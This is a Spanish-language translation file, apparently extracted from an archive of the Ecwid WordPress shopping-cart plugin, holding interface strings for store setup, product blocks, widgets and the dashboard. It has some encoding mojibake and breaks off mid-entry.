obtener esta función.�Complementos para Ecwid�Vertical 2:3�Vertical 3:4�Posición�Vista previa�Página anterior�Precio�Color del precio�Producto�Ficha de producto ampliada�Ficha de producto reducida�Apariencia de la lista de productos�Apariencia de la página del producto�REF del producto�Búsqueda de productos�Cuadro de búsqueda de productos�Búsqueda de productos y filtros�El texto de la ficha del producto se alinea�El catálogo de productos se mostrará automáticamente�Diseño de la página de productos�Precio del producto�Cantidad de productos�Contenido de la barra lateral de productos�Relación de aspecto de la miniatura del producto�Tamaño de la miniatura del producto�Título del producto�Productos�Los productos se sincronizaron satisfactoriamente. Las páginas de productos están actualizadas.�Productos eliminados sincronizados: %1$s de %2$s�Promocione su tienda�Otorgar acceso.�Proporcionado por <a %s>%s</a>�Publicar�Publicar la página de la tienda�Publique la página para poder utilizar esta opción�Publicada�Cantidad�¿Tiene alguna pregunta?�Producto aleatorio�Productos aleatorios�Tasa de %s en WordPress.org�Vuélvase a conectar para activar el panel de control�Productos vistos recientemente�Recomendaciones para su tienda en línea�Rectángulo�Actualizar la lista de categorías�Registrarse en %s�Informar un problema con la tienda�Informes�Derecha�P�REF�Ventas�Canales de venta�Guardar�Guarde y conecte su tienda de %s al sitio web�Guardar cambios�Buscar�Búsqueda y filtros�Buscar productos�Buscar en la base de conocimientos�Ver más�Seleccionar todo�Seleccionar categoría�Producto seleccionado�Categoría seleccionada�Vender en Facebook�Enviar mensaje�Envíe un mensaje a nuestro equipo de asistencia�Ocurrió un error al enviar el mensaje�Configure su tienda�Configurar manualmente�Configure su tienda�Configuraciones�Configuración�Envío y recogida�Tienda�Carrito de compras�Carrito de compras (descontinuado)�Carrito de compras flotante (descontinuado)�Icono del carrito de compras�Carrito de compras en miniatura (descontinuado)�«Widget» del carrito de compras�Mostrar�Mostrar imagen adicional al pasar el ratón�Mostrar categorías�Muéstreles a los clientes que pueden utilizar la búsqueda y los filtros para encontrar los productos que deseen de forma más rápida.�Mostrar descripción debajo de la imagen�Mostrar minicarrito�Mostrar en todas las páginas�Mostrar al pasar el ratón�Mostrar en las páginas de la tienda�Mostrar el precio dentro del botón de «Comprar ahora»�Mostrar el precio dentro del botón de «Comprar ahora»�Mostrar el borde de la ficha del producto�Mostrar miniaturas de los productos�Mostrar búsqueda�Mostrar cuando esté vacío�Muestre su tienda en la página de inicio�El inicio de sesión único les permite a sus clientes tener un inicio de sesión único para su sitio web de WordPress y su %s. Cuando alguien inicie sesión en su sitio web, también iniciará sesión automáticamente en su cuenta de cliente en la tienda sin necesidad de introducir su correo electrónico y contraseña nuevamente.�Icono pequeño�Icono pequeño y total de artículos�Algunos de los artículos no se pudieron importar.�Le pido disculpas por las dificultades técnicas que estamos experimentando.�Lo siento, hay un problema. Se supone que esta página muestra el panel de control de su tienda; sin embargo, este sitio web de Wordpress no parece poder conectarse al servidor de Ecwid para mostrar el panel de su tienda aquí. Es probable que esto se deba a una mala configuración del servidor; su proveedor de alojamiento web puede solucionarlo. Aquí hay una descripción más técnica del problema, la cual puede enviarle a su proveedor de alojamiento web: «La función de Wordpress wp_remote_post() no pudo conectarse a un servidor remoto debido al error: “%sâ€; parece que las solicitudes HTTP POST están inhabilitadas en este servidor». <br /><br />No dude en ponerse en contacto con nosotros en <a %s>wordpress@ecwid.com</a> y le ayudaremos a comunicarse con su proveedor de alojamiento web para pedirle que solucione el problema. <br /><br /> Mientras tanto, para gestionar su tienda, puede utilizar el panel de control web de Ecwid en <a %s>my.ecwid.com</a>. Su escaparate virtual está funcionando bien; puede echarle un vistazo aquí: <a %s>%s</a>.�Cuadrado 1:1�Iniciar la importación�Estado�Manténgase conectado con sus clientes. Actualice el contenido de su tienda en cualquier momento para informarles a los clientes sobre las promociones actuales y las novedades de su tienda.�¿Todavía tiene preguntas acerca de Ecwid? ¡Háganoslo saber!�Tienda�Categorías de la tienda�Menú de categorías de la tienda�Página de categorías de la tienda�Página del escaparate virtual�Página de inicio de la tienda�ID de la tienda�El ID de la tienda es un identificador único de cualquier tienda de %1$s, el cual consta de varios dígitos. Puede encontrarlo en la página «Panel» del panel de control de %1$s. El ID de la tienda se enviará en el correo electrónico de bienvenida después del registro.�El ID de la tienda es un identificador único de su cuenta de %1$s. Puede encontrarlo en su panel de control de %1$s en la <a %2$s>página del panel</a>.�Título del enlace de la tienda�Navegación en la tienda�Página de la tienda�Enlace a la página de la tienda�Categorías raíz de la tienda�Apariencia de la tienda�Elementos de la tienda�Gestión de la tienda�Contenido de la página de la tienda�Página de la tienda en su sitio web�Categoría raíz de la tienda�Tienda con menú de categorías�Escaparate virtual�Asunto�Enviar y desactivar�Cambiar al borrador�Sincronizar productos�Tabla�Vista de tabla�Siga unos sencillos pasos para completar la configuración de la tienda�Aproveche las increíbles aplicaciones y extensiones diseñadas para mejorar su tienda.�Texto�Color del texto�Gracias por elegir %s para construir su tienda en línea�El bloque está oculto porque no tiene categorías en su tienda. <a target="_blank" href="admin.php?page=ec-store-admin-category-id-0-mode-edit">Añadir categorías.</a>�La categoría que se muestra de forma predeterminada en la página del escaparate virtual�El primer paso para abrir su negocio en línea: <br />añadamos una tienda a su sitio web de WordPress en <strong>3</strong> simples pasos.�El complemento no es compatible con la función que quiero�El icono del carrito de compras muestra la cantidad de artículos en el carrito y ayuda a los clientes a realizar el pago. Además, puede <a href="%s" target="_blank">ajustar la apariencia del icono del carrito</a>.�La tienda no es visible en su sitio web�Las categorías de alto nivel de la tienda se añaden automáticamente a este menú desplegable�Temas para Ecwid�Esta importación copiará sus productos y categorías de WooCommerce a su tienda de %s.�Esto es una tienda de demostración. Cree su tienda para ver los productos de su tienda aquí.�Esto cambiará la etiqueta del módulo en el creador para una fácil identificación.�Título�Título en la imagen�Solo título�Título o REF�Título debajo de la imagen�Título:�Para añadir funciones adicionales a su tienda, arrastre y suelte los elementos de la tienda de %s en su sitio web. Una vez que haya terminado, puede volver a modificar su configuración.�Para añadir su tienda a su sitio web, introduzca el ID de su tienda de %1$s en el campo a continuación. Si aún no tiene una cuenta de %1$s, cree una gratis en el <a %2$s>sitio web de %1$s</a>.�Para permitir que %s inicie la sesión de sus clientes automáticamente en su tienda, otorgue los permisos para utilizar los datos del cliente en la tienda. <a %s>Utilice este enlace para hacerlo</a>�A fin de poder elegir un producto para insertarlo en sus publicaciones y páginas, deberá volver a conectar su sitio a su tienda de %s. Esto solo requerirá que acepte la solicitud de permisos para que el complemento pueda listar sus productos en el cuadro de diálogo «Añadir producto».�Para crear un «Mapa del sitio» para su sitio web de Wordpress, le sugerimos que utilice los  complementos <a target="_blank" href="https://wordpress.org/plugins/google-sitemap-generator/">Google XML Sitemaps</a> o <a target="_blank" href="https://wordpress.org/plugins/wordpress-seo/">Yoast Wordpress SEO</a>. Estos complementos son totalmente compatibles con Ecwid y permiten generar un mapa del sitio que contiene enlaces a categorías y páginas de productos, por lo que las páginas de la tienda se indexarán más rápido. Tenga en cuenta que esta opción solo está disponible para los <a target="_blank" href="https://www.ecwid.com/pricing">usuarios de pago de Ecwid</a>.�Para mostrar su tienda en este sitio web, debe permitir que WordPress acceda a sus productos de %1$s. Pulse «Conectar» para otorgar el permiso.�Para habilitar esta función, el complemento necesita un permiso para leer la información del producto de su tienda.�Para mostrar un solo producto en una página aparte o en una entrada de blog de su sitio web, utilice el código corto <b>[ecwid_product]</b>. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#buynow">Cómo utilizarlo</a>�Para mejorar la apariencia de su página de productos y poder gestionarla desde aquí, habilite la opción «Apariencia de próxima generación de la página de productos en el escaparate virtual» en el panel de su tienda. («<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Configuración → Novedades</a>»).�Para mejorar la apariencia de su página de productos y poder gestionarla desde aquí, habilite la opción «Apariencia de próxima generación de la página de productos en el escaparate virtual» en el panel de su tienda. («<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Configuración → Novedades</a>»).�Para mejorar la apariencia de su tienda y poder gestionar la apariencia de su escaparate virtual desde aquí, habilite la opción «Apariencia de próxima generación de la lista de productos en el escaparate virtual» en el panel de su tienda. («<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Configuración → Novedades</a>»).�Para asegurarse de que su cliente puede acceder realmente a su sitio web y a la tienda, habilite el registro en las <a %s>configuraciones del sitio web</a>�Para gestionar su tienda, vaya a la <a %s>página del «Panel de su tienda»</a>�Para vender utilizando %1$s, debe permitir que WordPress acceda al complemento %1$s. El botón «Conectar» lo redirigirá a su cuenta de %1$s donde puede otorgar el permiso.�Para mostrar su escaparate virtual en lugar de la tienda de demostración, conecte su cuenta de %s existente o cree una nueva.�Para comenzar a vender, añada una página a su sitio web donde se muestre el escaparate virtual.�Arriba a la izquierda�Arriba a la derecha�Intente otra búsqueda.�Escriba su mensaje aquí�«Slug» de la dirección URL�Actualizar�Actualice su catálogo�Actualice para obtener esta función�Sangría vertical�Miniaturas verticales�Gris oscuro�Gris claro�Ver la página de la tienda�Ver la página de la tienda de demostración�Ver la página de la tienda�Visitar escaparate virtual�Azul cian vívido�Cian verde vívido�Rojo vívido�¿Desea conectar otra tienda de %s?�Advertencia: algunas de las funciones de su tienda en línea están inhabilitadas. Póngase en contacto con su proveedor de alojamiento web para resolverlo.�Notamos que tiene un WooCommerce instalado. Su tienda de WooCommerce tiene %1$s productos y %2$s categorías; ¿le gustaría importarlos a %3$s?�Notamos que tiene WooCommerce instalado. Si desea copiar fácilmente sus productos de WooCommerce a %s, esta herramienta le ayudará.�Estamos sincronizando sus productos. Esto puede tardar unos minutos. No actualice la página.�Sitio web�¿Qué función necesita?�¿Qué fue lo que pasó?�¿Qué sigue?�Mientras su tienda aún no esté conectada, se mostrará una tienda de demostración en su sitio web. Échele un vistazo para tener una idea de cómo se verá su tienda en el sitio web.�Precios al por mayor�Puede añadir un cuadro de búsqueda de productos, un «widget» de carrito y más desde la <a href="%s">«Página de apariencia y widgets»</a> que se encuentra aquí en el administrador de su sitio web. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#sidebarwidgets">Más detalles.</a>�Puede añadir todo el escaparate virtual, las categorías, los productos o los botones de «Comprar ahora» a otras páginas de su sitio web. Para ello, abra una página en el editor y añada un bloque %s apropiado.�Puede añadir el menú de categorías de la tienda al menú de su sitio web para ayudar a sus clientes a navegar fácilmente por su sitio web. Simplemente abra «Apariencia > Menús» en el panel de WordPress y añada el elemento «Tienda con menú de categorías» al menú de su sitio web. Aparecerá automáticamente un menú desplegable que contendrá las categorías de su tienda en su sitio web.�Puede añadir su tienda en línea a su página empresarial de Facebook (no se necesitan complementos). Ecwid sincronizará automáticamente los productos, clientes, pedidos e inventario entre su tienda en línea de WordPress y Facebook. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/115005892705-Facebook-Shop">Más detalles.</a>�Puede gestionar la apariencia de su tienda en la <a %s>página de «Configuración del diseño»</a> ubicada en el panel de control de su tienda.�Puede mostrar su tienda en la página principal del sitio web. Ajuste la configuración de «Lectura» de su sitio web como se describe en nuestro <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#displaystoreonhomepage">centro de asistencia.</a>�Puede habilitar un «widget» adicional del icono de la bolsa de compras que aparecerá en las páginas de su sitio web. Abra el menú «<a href="%1$s">Apariencia → Personalizar → %2$s</a>» para habilitarlo.�Puede habilitar los filtros en la configuración de la tienda: («<a target="_blank" href="admin.php?page=ec-store-admin-product-filters-mode-main">Configuración → Filtros para los productos</a>»).�Puede enviar una nueva solicitud aquí.�Aún no ha visto ningún producto. Abra la tienda.�También podrá registrarse a través de sus perfiles existentes de Google, Facebook o PayPal.�Su tienda de %s tiene �Su tienda de %s está conectada<br /> a su sitio web de WordPress�Su tienda de %s ahora está conectada<br /> a su sitio web de WordPress�Su escaparate virtual�Su tienda de WooCommerce tiene �Se ha enviado su correo electrónico�Su producto�Panel de control de su tienda. Aquí mismo en WordPress.�Se ha creado su tienda. Preparando el panel de su tienda...�Su tienda se añade a varias páginas del sitio web. Elija la página principal. Los clientes son redirigidos a la página principal de la tienda cuando hacen clic en el icono del carrito, en los enlaces de la tienda ubicados en el menú del sitio web o en los productos que se encuentran en la barra lateral.�¡Su tienda ya está casi lista!�Su tienda no se añade a ninguna página de su sitio web. Para que los clientes puedan navegar por su tienda y realizar pedidos, cree una página donde se mostrará la tienda.�La página de su tienda�La página de su tienda está actualmente en un borrador. Una vez que esté lista, publíquela para que los clientes puedan visitar la tienda y realizar pedidos.�La página de su tienda está publicada. Los clientes pueden visitar su tienda en �Su tienda se mostrará aquí�¡Su tienda se mostrará aquí!�Su escaparate virtual (listado de productos y página de pago) está funcionando bien, pero las funciones avanzadas de la tienda, como el SEO y los «widgets» de la barra lateral, están inhabilitadas. Para habilitarlas y asegurarse de que su tienda funcione correctamente, pulse el botón de abajo para conectar su cuenta de %s. Esto tomará menos de un minuto; solo se le pedirá que inicie sesión en su cuenta y permita que este sitio web obtenga los datos de su tienda.�[%s] Comentarios sobre la desactivación del complemento de WordPress (ID de la tienda: %s)�personalizar apariencia�Contenido�Tienda�http://www.ecwid.com?partner=wporg�https://ecwid.to/ecwid-site�https://support.ecwid.com/hc/en-us�https://support.ecwid.com/hc/en-us/articles/208079105-Importing-products�https://support.ecwid.com/hc/en-us/search�https://www.ecwid.com/blog�o <a %s>consulte el centro de asistencia�REF del producto�Precio del producto�seleccionar producto�producto seleccionado�Tienda en línea�Botón de «Comprar ahora»�PK������Ê—[!ÛÛ¡2¬�2¬�:��ecwid-shopping-cart/languages/ecwid-shopping-cart-es_VE.ponu�„[µü¤��������# Translation of Plugins - Ecwid Ecommerce Shopping Cart - Stable (latest release) in German # This file is distributed under the same license as the Plugins - Ecwid Ecommerce Shopping Cart - Stable (latest release) package. msgid "" msgstr "" "PO-Revision-Date: 2020-10-12 12:46\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" "X-Generator: GlotPress/3.0.0-alpha.2\n" "Language: es\n" "Project-Id-Version: temporary-strings\n" "X-Crowdin-Project: temporary-strings\n" "X-Crowdin-Project-ID: 295314\n" "X-Crowdin-Language: es-ES\n" "X-Crowdin-File: /Wordpress Plugin/wp-plugins-ecwid-shopping-cart-stable.po\n" "X-Crowdin-File-ID: 988\n" "Language-Team: Spanish\n" #: includes/integrations/elementor/class-ec-elementor-widget-store.php:92 msgid "You can control your store look and feel on the <a %s>Design settings page</a> in your store control panel." msgstr "Puede gestionar la apariencia de su tienda en la <a %s>página de «Configuración del diseño»</a> ubicada en el panel de control de su tienda." #: includes/integrations/elementor/class-ec-elementor-widget-store.php:55 msgid "To manage your store, go to <a %s>the Store Dashboard page</a>" msgstr "Para gestionar su tienda, vaya a la <a %s>página del «Panel de su tienda»</a>" #: includes/integrations/elementor/class-ec-elementor-widget-store.php:39 msgid "The category that is shown by default on the Store Front Page" msgstr "La categoría que se muestra de forma predeterminada en la página del escaparate virtual" #: includes/integrations/elementor/class-ec-elementor-widget-store.php:38 msgid "Default category" msgstr "Categoría predeterminada" #: includes/integrations/elementor/class-ec-elementor-widget-store.php:29 msgid "Online Store" msgstr "Tienda en línea" #: includes/class-ecwid-stub-renderer.php:38 msgid "Buy Now" msgstr "Comprar ahora" #: templates/admin/welcome-terms-privacy.php:5 msgid "By continuing, you agree to the <a %s>Terms of Service</a> and <a %s>Privacy Policy</a>." msgstr "Al continuar, acepta los <a %s>Términos de servicio</a> y la <a %s>Política de privacidad</a>." #: js/gutenberg/blocks.build.js:1 msgid "Display shopping cart and checkout page" msgstr "Mostrar el carrito de compras y la página de pago" #: js/gutenberg/blocks.build.js:1 msgid "Cart and Checkout" msgstr "Carrito y pago" #: js/gutenberg/blocks.build.js:1 msgid "Filters" msgstr "Filtros" #: js/gutenberg/blocks.build.js:1 msgid "You can enable filters in the store settings: (“<a target=\"_blank\" href=\"admin.php?page=ec-store-admin-product-filters-mode-main\">Settings → Product Filters</a>â€)." msgstr "Puede habilitar los filtros en la configuración de la tienda: («<a target=\"_blank\" href=\"admin.php?page=ec-store-admin-product-filters-mode-main\">Configuración → Filtros para los productos</a>»)." #: js/gutenberg/blocks.build.js:1 msgid "Search and Filters" msgstr "Búsqueda y filtros" #: js/gutenberg/blocks.build.js:1 msgid "Display search page with filters on a side" msgstr "Mostrar página de búsqueda con los filtros a un lado" #: js/gutenberg/blocks.build.js:1 msgid "Product Search and filters" msgstr "Búsqueda de productos y filtros" #: js/gutenberg/blocks.build.js:1 msgid "To improve the look and feel of your product page and manage your its appearance here, please enable the “Next-gen look and feel of the product page on the storefront†option in your store dashboard (“<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Settings → What’s New</a>â€)." msgstr "Para mejorar la apariencia de su página de productos y poder gestionarla desde aquí, habilite la opción «Apariencia de próxima generación de la página de productos en el escaparate virtual» en el panel de su tienda. («<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Configuración → Novedades</a>»)." #: js/gutenberg/blocks.build.js:1 msgid "Display product page with description and a buy button" msgstr "Mostrar la página de productos con la descripción y un botón de compra" #: js/gutenberg/blocks.build.js:1 msgid "Product Card Large" msgstr "Ficha de producto ampliada" #: js/gutenberg/blocks.build.js:1 msgid "Selected category" msgstr "Categoría seleccionada" #: js/gutenberg/blocks.build.js:1 msgid "Select category" msgstr "Seleccionar categoría" #: js/gutenberg/blocks.build.js:1 msgid "Add categories" msgstr "Añadir categorías" #: js/gutenberg/blocks.build.js:1 msgid "Display category page" msgstr "Mostrar la página de categorías" #: js/gutenberg/blocks.build.js:1 msgid "Store Category Page" msgstr "Página de categorías de la tienda" #: js/gutenberg/blocks.build.js:1 msgid "Display shopping bag link and summary" msgstr "Mostrar enlace y resumen de la bolsa de compras" #: js/gutenberg/blocks.build.js:1 msgid "Shopping Cart Icon" msgstr "Icono del carrito de compras" #: js/gutenberg/blocks.build.js:1 msgid "The block is hidden because you don't have categories in your store. <a target=\"_blank\" href=\"admin.php?page=ec-store-admin-category-id-0-mode-edit\">Add categories.</a>" msgstr "El bloque está oculto porque no tiene categorías en su tienda. <a target=\"_blank\" href=\"admin.php?page=ec-store-admin-category-id-0-mode-edit\">Añadir categorías.</a>" #: js/gutenberg/blocks.build.js:1 msgid "Categories" msgstr "Categorías" #: js/gutenberg/blocks.build.js:1 msgid "Display categories navigation bar" msgstr "Mostrar la barra de navegación de las categorías" #: js/gutenberg/blocks.build.js:1 msgid "Store Categories Menu" msgstr "Menú de categorías de la tienda" #: js/gutenberg/blocks.build.js:1 msgid "Product Search Box" msgstr "Cuadro de búsqueda de productos" #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:25 #: js/gutenberg/blocks.build.js:1 msgid "Linked product" msgstr "Producto vinculado" #: js/gutenberg/blocks.build.js:1 msgid "Display a buy button" msgstr "Mostrar un botón de compra" #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:10 #: js/gutenberg/blocks.build.js:1 msgid "Buy Now Button" msgstr "Botón «Comprar ahora»" #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:52 #: js/gutenberg/blocks.build.js:1 msgid "Show price inside the «Buy now» button" msgstr "Mostrar el precio dentro del botón de «Comprar ahora»" #: js/gutenberg/blocks.build.js:1 msgctxt "gutenberg-product-block" msgid "Content" msgstr "Contenido" #: js/gutenberg/blocks.build.js:1 msgid "Change" msgstr "Cambiar" #: js/gutenberg/blocks.build.js:1 msgid "Displayed product" msgstr "Producto mostrado" #: js/gutenberg/blocks.build.js:1 msgid "Display product with a buy button" msgstr "Mostrar el producto con un botón de compra" #: js/gutenberg/blocks.build.js:1 msgid "Product Card Small" msgstr "Ficha de producto reducida" #: js/gutenberg/blocks.build.js:1 msgid "Very dark gray" msgstr "Gris oscuro" #: js/gutenberg/blocks.build.js:1 msgid "Cyan bluish gray" msgstr "Gris cian azulado" #: js/gutenberg/blocks.build.js:1 msgid "Very light gray" msgstr "Gris claro" #: js/gutenberg/blocks.build.js:1 msgid "Vivid cyan blue" msgstr "Azul cian vívido" #: js/gutenberg/blocks.build.js:1 msgid "Pale cyan blue" msgstr "Azul cian pálido" #: js/gutenberg/blocks.build.js:1 msgid "Vivid green cyan" msgstr "Cian verde vívido" #: js/gutenberg/blocks.build.js:1 msgid "Light green cyan" msgstr "Cian verde claro" #: js/gutenberg/blocks.build.js:1 msgid "Luminous vivid amber" msgstr "Ãmbar vívido y brillante" #: js/gutenberg/blocks.build.js:1 msgid "Luminous vivid orange" msgstr "Naranja vívido y brillante" #: js/gutenberg/blocks.build.js:1 msgid "Vivid red" msgstr "Rojo vívido" #: js/gutenberg/blocks.build.js:1 msgid "Pale pink" msgstr "Rosa pálido" #: js/gutenberg/blocks.build.js:1 msgid "Set manually" msgstr "Configurar manualmente" #: js/gutenberg/blocks.build.js:1 msgid "Detect automatically" msgstr "Detectar automáticamente" #: js/gutenberg/blocks.build.js:1 msgid "Color settings" msgstr "Configuración de colores" #: js/gutenberg/blocks.build.js:1 msgid "Store Navigation" msgstr "Navegación en la tienda" #: js/gutenberg/blocks.build.js:1 msgid "Store Front Page" msgstr "Página del escaparate virtual" #: js/gutenberg/blocks.build.js:1 msgid "Product sidebar content" msgstr "Contenido de la barra lateral de productos" #: js/gutenberg/blocks.build.js:1 msgid "Product Page Appearance" msgstr "Apariencia de la página del producto" #: js/gutenberg/blocks.build.js:1 msgid "Product List Appearance" msgstr "Apariencia de la lista de productos" #: js/gutenberg/blocks.build.js:1 msgid "Category List Appearance" msgstr "Apariencia de la lista de categorías" #: js/gutenberg/blocks.build.js:1 msgid "To improve the look and feel of your product page and manage its appearance here, please enable the “Next-gen look and feel of the product page on the storefront†option in your store dashboard (“<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Settings → What’s New</a>â€)." msgstr "Para mejorar la apariencia de su página de productos y poder gestionarla desde aquí, habilite la opción «Apariencia de próxima generación de la página de productos en el escaparate virtual» en el panel de su tienda. («<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Configuración → Novedades</a>»)." #: js/gutenberg/blocks.build.js:1 msgid "Display cart icon" msgstr "Mostrar icono del carrito" #: js/gutenberg/blocks.build.js:1 msgid "To improve the look and feel of your store and manage your storefront appearance here, please enable the “Next-gen look and feel of the product list on the storefront†option in your store dashboard (“<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Settings → What’s New</a>â€)." msgstr "Para mejorar la apariencia de su tienda y poder gestionar la apariencia de su escaparate virtual desde aquí, habilite la opción «Apariencia de próxima generación de la lista de productos en el escaparate virtual» en el panel de su tienda. («<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Configuración → Novedades</a>»)." #: js/gutenberg/blocks.build.js:1 msgid "Add storefront (product listing)" msgstr "Añadir escaparate virtual (listado de productos)" #: templates/admin/storefront/main.php:21 msgid "Customers can’t see your store page because it’s in draft. Publish the page to make it available for your customers." msgstr "Los clientes no pueden ver la página de su tienda porque está en un borrador. Publique la página para que esté disponible para sus clientes." #: templates/admin/storefront/main.php:20 msgid "The store is not visible on your site" msgstr "La tienda no es visible en su sitio web" #: templates/admin/storefront/main.php:4 msgid "Your Storefront" msgstr "Su escaparate virtual" #: templates/admin/storefront/area-promo.php:30 msgid "Help customers find your store on the site. Add the store link to the site menu, create additional store pages, and highlight store products on other site pages and in sidebars." msgstr "Ayude a los clientes a encontrar su tienda en el sitio web. Añada el enlace de la tienda al menú del sitio web, cree páginas adicionales de la tienda y resalte los productos de la tienda en otras páginas del sitio web y en las barras laterales." #: templates/admin/storefront/area-promo.php:29 msgid "Promote your store" msgstr "Promocione su tienda" #: templates/admin/storefront/area-promo.php:26 msgid "Stay connected with your customers. Update the content of your store anytime to tell customers about ongoing promotions and what's new in your store." msgstr "Manténgase conectado con sus clientes. Actualice el contenido de su tienda en cualquier momento para informarles a los clientes sobre las promociones actuales y las novedades de su tienda." #: templates/admin/storefront/area-promo.php:25 msgid "Change store content" msgstr "Cambiar el contenido de la tienda" #: templates/admin/storefront/area-promo.php:22 msgid "Customize your store’s appearance to fit your business needs. Give your store the exact look and feel that reflects your brand." msgstr "Personalice la apariencia de su tienda para que se ajuste a las necesidades de su negocio. Cree la apariencia para su tienda que más se parezca a su marca." #: templates/admin/storefront/area-promo.php:21 msgid "Customize store appearance" msgstr "Personalizar la apariencia de la tienda" #: templates/admin/storefront/area-promo.php:7 msgid "Add your %s store to the website and start selling in minutes." msgstr "Añada su tienda de %s al sitio web y comience a vender en minutos." #: templates/admin/storefront/area-promo.php:3 msgid "What's next?" msgstr "¿Qué sigue?" #: templates/admin/storefront/area-additional.php:224 msgid "Your store is added to several pages on the site. Choose the main page. Customers are directed to the main store page when they click on the cart icon, store links in the site menu, and products in the sidebar." msgstr "Su tienda se añade a varias páginas del sitio web. Elija la página principal. Los clientes son redirigidos a la página principal de la tienda cuando hacen clic en el icono del carrito, en los enlaces de la tienda ubicados en el menú del sitio web o en los productos que se encuentran en la barra lateral." #: templates/admin/storefront/area-additional.php:222 msgid "Choose the main store page" msgstr "Elegir la página principal de la tienda" #: templates/admin/storefront/area-additional.php:200 msgid "Go to Pages" msgstr "Ir a «Páginas»" #: templates/admin/storefront/area-additional.php:193 msgid "You can add the entire storefront, categories, products, or \"Buy now\" buttons to other pages on your site. To do that, open a page in the editor and add an appropriate %s block." msgstr "Puede añadir todo el escaparate virtual, las categorías, los productos o los botones de «Comprar ahora» a otras páginas de su sitio web. Para ello, abra una página en el editor y añada un bloque %s apropiado." #: templates/admin/storefront/area-additional.php:189 msgid "Add your store to other site pages" msgstr "Añada su tienda a otras páginas del sitio web" #: templates/admin/storefront/area-additional.php:166 msgid "Create Product Page" msgstr "Crear página de productos" #: templates/admin/storefront/area-additional.php:150 msgid "Pick Product" msgstr "Elegir un producto" #: templates/admin/storefront/area-additional.php:136 #: templates/admin/storefront/area-additional.php:138 msgid "Create a landing page featuring one of your products." msgstr "Cree una página de aterrizaje con uno de sus productos." #: templates/admin/storefront/area-additional.php:132 msgid "Add a product page" msgstr "Añadir página de productos" #: templates/admin/storefront/area-additional.php:109 msgid "Create Category Page" msgstr "Crear página de categorías" #: templates/admin/storefront/area-additional.php:93 msgid "Pick Category" msgstr "Elegir una categoría" #: templates/admin/storefront/area-additional.php:79 #: templates/admin/storefront/area-additional.php:81 msgid "Feature a specific store category on a separate page of your site." msgstr "Destacar una categoría de la tienda específica en una página separada de su sitio web." #: templates/admin/storefront/area-additional.php:75 msgid "Add a category page" msgstr "Añadir una página de categoría" #: templates/admin/storefront/area-additional.php:54 msgid "Create Search Page" msgstr "Crear página de búsqueda" #: templates/admin/storefront/area-additional.php:50 msgid "Show customers that they can use a search and filters to find desired products faster." msgstr "Muéstreles a los clientes que pueden utilizar la búsqueda y los filtros para encontrar los productos que deseen de forma más rápida." #: templates/admin/storefront/area-additional.php:48 msgid "Add a search and filters page" msgstr "Añadir una página de búsqueda y filtros" #: templates/admin/storefront/area-additional.php:27 msgid "Create Cart Page" msgstr "Crear página del carrito" #: templates/admin/storefront/area-additional.php:23 msgid "Customers go to the cart page to review products they’ve added to the cart and proceed to the checkout." msgstr "Los clientes van a la página del carrito para consultar los productos que han añadido al mismo y proceder con el pago." #: templates/admin/storefront/area-additional.php:21 msgid "Add cart and checkout page" msgstr "Añadir carrito y página de pago" #: templates/admin/storefront/area-additional.php:4 msgid "Highlight products, categories, and other store pages by adding them to separate website pages." msgstr "Destaque productos, categorías y otras páginas de la tienda añadiéndolas a páginas del sitio web separadas." #: templates/admin/storefront/area-additional.php:3 msgid "Additional store pages" msgstr "Páginas adicionales de la tienda" #: templates/admin/storefront/draft-message.php:2 msgid "Publish the page to use this option" msgstr "Publique la página para poder utilizar esta opción" #: templates/admin/storefront/area-design.php:55 msgid "Along with the store catalog, you can add other widgets and texts to the store page." msgstr "Junto con el catálogo de la tienda, puede añadir otros «widgets» y textos a la página de la tienda." #: templates/admin/storefront/area-design.php:54 msgid "Store page content" msgstr "Contenido de la página de la tienda" #: templates/admin/storefront/area-design.php:25 #: templates/admin/storefront/area-design.php:27 msgid "Adjust your store design to fit your business needs." msgstr "Ajuste el diseño de su tienda para que se adapte a las necesidades de su negocio." #: templates/admin/storefront/area-design.php:21 msgid "Store appearance" msgstr "Apariencia de la tienda" #: templates/admin/storefront/area-design.php:4 msgid "Personalize your storefront's appearance and edit the content on the store page to reflect your brand and stay connected with your customers." msgstr "Personalice la apariencia de su escaparate virtual y edite el contenido en la página de la tienda para reflejar su marca y mantenerse conectado con sus clientes." #: templates/admin/storefront/area-design.php:3 msgid "Design and content" msgstr "Diseño y contenido" #: templates/admin/storefront/area-status.php:124 msgid "Create Store Page" msgstr "Crear la página de la tienda" #: templates/admin/storefront/area-status.php:121 msgid "Your store is not added to any page on your site. To let customers browse your store and place orders, create a page where the store will display." msgstr "Su tienda no se añade a ninguna página de su sitio web. Para que los clientes puedan navegar por su tienda y realizar pedidos, cree una página donde se mostrará la tienda." #: templates/admin/storefront/area-status.php:115 msgid "Set Up Your Store" msgstr "Configure su tienda" #: templates/admin/storefront/area-status.php:109 msgid "To show your storefront instead of the demo store, connect your existing %s account or create a new one." msgstr "Para mostrar su escaparate virtual en lugar de la tienda de demostración, conecte su cuenta de %s existente o cree una nueva." #: templates/admin/storefront/area-status.php:101 msgid "Publish Store Page" msgstr "Publicar la página de la tienda" #: templates/admin/storefront/area-status.php:98 msgid "Your store page is currently in draft. Once you are ready, publish it to let customers browse the store and place orders." msgstr "La página de su tienda está actualmente en un borrador. Una vez que esté lista, publíquela para que los clientes puedan visitar la tienda y realizar pedidos." #: templates/admin/storefront/area-status.php:92 msgid "View Store Page" msgstr "Ver la página de la tienda" #: 